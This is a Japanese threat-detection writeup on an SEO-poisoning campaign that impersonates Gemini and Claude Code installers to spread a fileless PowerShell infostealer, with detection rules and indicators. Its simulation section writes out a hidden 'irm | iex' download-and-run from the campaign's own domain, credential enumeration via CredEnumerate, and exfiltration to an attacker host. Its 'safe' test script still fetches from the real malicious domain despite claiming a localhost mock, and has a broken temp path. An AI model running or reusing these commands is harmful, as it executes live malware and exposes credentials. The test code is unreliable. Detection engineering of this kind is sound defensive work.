SEOポイズニングキャンペーンがGeminiおよびClaudeコードルアーを使用して情報窃取ツールを配布
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
財政的動機を持つeCrimeのアクターは、SEO毒素化を使用して、AIコーディングアシスタントのインストーラーを模倣する偽ドメインを押し出しています。これらのページから単一のPowerShellコマンドをコピーして貼り付ける被害者は、完全にメモリ内で実行されるファイルレスのインフォスティーラーをトリガーします。このマルウェアは、資格情報、セッションクッキー、VPNキー、機密ファイルを盗み、コマンド&コントロールサーバーに暗号化された形式でデータを流出させる前に、それを転送します。このキャンペーンは、Windows開発者のワークステーションを対象にしており、よく知られた開発者ツールを濫用して通常の活動に溶け込んでいます。
調査
EclecticIQのアナリストは、悪意のあるインフラストラクチャを .co.com を通じてPowerShellダウンロード文字列を提供するドメインとして追跡しました。 irm and iex最初のステージのスクリプトは隠れたPowerShellウィンドウを使用して起動し、 Shell.Application.ShellExecuteを使用し、その後、C#の追加タイプを読み込み、資格情報、システムの詳細、その他の貴重なデータを収集します。流出はHTTP及びHTTPS経由で events.msft23.com and events.ms709.com へ特定のURLパスを使用して観察されました。受動的DNS解析により、この操作はオランダの弾薬無効ホスティングプロバイダーとタイプスクワットドメインの広範なクラスタに関連付けられました。
緩和策
ディフェンダーは、 irm | iex の実行パターン、隠れたPowerShellウィンドウ、疑わしい Add-Type の使用をP/Invokeコールを含むものを検出し、ブロックする必要があります。組織は、PowerShell制約言語モードを施行し、ApplockerまたはWDACを使用して、インターネット由来のコンテンツからのスクリプト実行を防止する必要があります。ブラウザのクリップボード書き込みアクセスを制限し、開発者アカウントの短命OAuthトークンの施行を強化することで、更なる露出の削減が可能です。開発者はまた、不信なウェブサイトからのコマンドのコピー&ペーストを避けるよう訓練されるべきです。
対応
セキュリティチームは、 -WindowStyle Hidden で起動されたPowerShellプロセスのアラートを発信する必要があります。また、 Shell.Application.ShellExecuteを通じて呼び出された場合においてもこれを行います。これらのイベントは、次にマッチするドメインへのアウトバウンドHTTP要求と関連付けられるべきです: *-setup.com or events.*.comのドメイン、特に以下のパスが現れる場合に注意して下さい /take, /process、または /validate です。この行動が検出された場合には、影響を受けたエンドポイントを隔離し、PowerShellログを収集し、ブラウザデータ及び資格情報ストアのフォレンジック収集を実施します。
攻撃の流れ
検出
Powershellによるダウンロードまたはアップロード(cmdline経由)
表示
疑わしいPowershell文字列(powershell経由)
表示
Powershellからの疑わしい.NETメソッドの呼び出し(powershell経由)
表示
IOC(HashSha256)を検出する:SEO毒素化キャンペーンはGeminiおよびClaude Codeのなりすましを利用してインフォスティーラーを配布します パート2
表示
IOC(HashSha256)を検出する:SEO毒素化キャンペーンはGeminiおよびClaude Codeのなりすましを利用してインフォスティーラーを配布します パート1
表示
IOC(SourceIP)を検出する:SEO毒素化キャンペーンはGeminiおよびClaude Codeのなりすましを利用してインフォスティーラーを配布します
表示
IOC(DestinationIP)を検出する:SEO毒素化キャンペーンはGeminiおよびClaude Codeのなりすましを利用してインフォスティーラーを配布します
表示
特定のURIパスによるC2ビーコンパターンの検出 [Windowsネットワーク接続]
表示
ファイルレスPowerShellインフォスティーラー実行 [Windows Powershell]
表示
シミュレーション実行
前提条件:テレメトリ&ベースラインの事前チェックに合格していること。
理由:このセクションでは、検出ルールをトリガーするために設計された敵の手法(TTP)の正確な実行について詳述します。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を引き起こします。
-
攻撃の説明&コマンド:
攻撃者は低特権のユーザーアカウントを乗っ取り、cmd.exe経由でPowerShellのワンライナーを実行します。ワンライナーはirm(Invoke-RestMethod)を使用してevents.msft23.comから悪質なPowerShellスクリプトをフェッチし、それをiex(Invoke-Expression)にパイプしてペイロードを完全にメモリ内で実行し、PowerShellウィンドウを隠して肩越しの覗きを避けます。ペイロードはその後、.NETタイプをAdd-Typeで読み込み、CredEnumerateAPIを使用して資格情報の列挙を実行し、収集したデータをHTTPS経由で流出させます。すべての手順は、ディスクにファイルを書き込まずに実行され、「ファイルレス」という説明に合致します。# ステップ1 – 隠されたPowerShellの起動 powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"ダウンロードした
payload.ps1(メモリ内で実行)には以下が含まれます:# ステップ2 – 資格情報列挙用.NETタイプの読み込み $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport(""advapi32.dll"", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type # ステップ3 – 資格情報のダンプと流出 $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "収集した資格情報の数は$countです" Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $dataこのシーケンスはSigmaルールが一致するコマンドラインフラグメントを生成します:
powershell.exe -WindowStyle Hiddenirm events.msft23.com | iexAdd-Typeadvapi32.dll!CredEnumerate
-
回帰テストスクリプト: 以下のスクリプトはテストワークステーションでの正確な動作を再現します。管理者権限でPowerShellプロンプトから実行してください。
# ファイルレスPowerShellインフォスティーラーシミュレーション – TC-20260525-A7Z3K # ------------------------------------------------------------ # ステップ1 – ペイロードをダウンロード&実行する隠れたPowerShellを実行 $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden # 模擬payload.ps1コンテンツ(安全なテスト用にローカルホスト) $payload = @' $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "収集した資格情報の数は$countです" # 無害なエンドポイントへの流出をシミュレート Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data '@ # テスト用に模擬ペイロードを一時的な場所に書き込み(リモートホスティングを模倣) $tempPath = "$env:TEMPpayload.ps1" Set-Content -Path $tempPath -Value $payload -Encoding UTF8 # デモ用シンプルなローカルHTTPリスナーを介してペイロードを提供 $listener = [System.Net.HttpListener]::new() $listener.Prefixes.Add("http://+:8080/") $listener.Start() Write-Host "模擬ペイロードをhttp://localhost:8080/payload.ps1で配信中" while ($listener.IsListening) { $context = $listener.GetContext() if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") { $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $context.Response.ContentLength64 = $bytes.Length $context.Response.OutputStream.Write($bytes,0,$bytes.Length) $context.Response.Close() } } # 注:検証後にリスナーを手動で停止してください。 -
クリーンアップコマンド: 一時ファイルを削除し、HTTPリスナーを停止します。
# シミュレーション後のクリーンアップ Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue # ローカルHTTPリスナーを停止(まだ稼働中の場合) Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force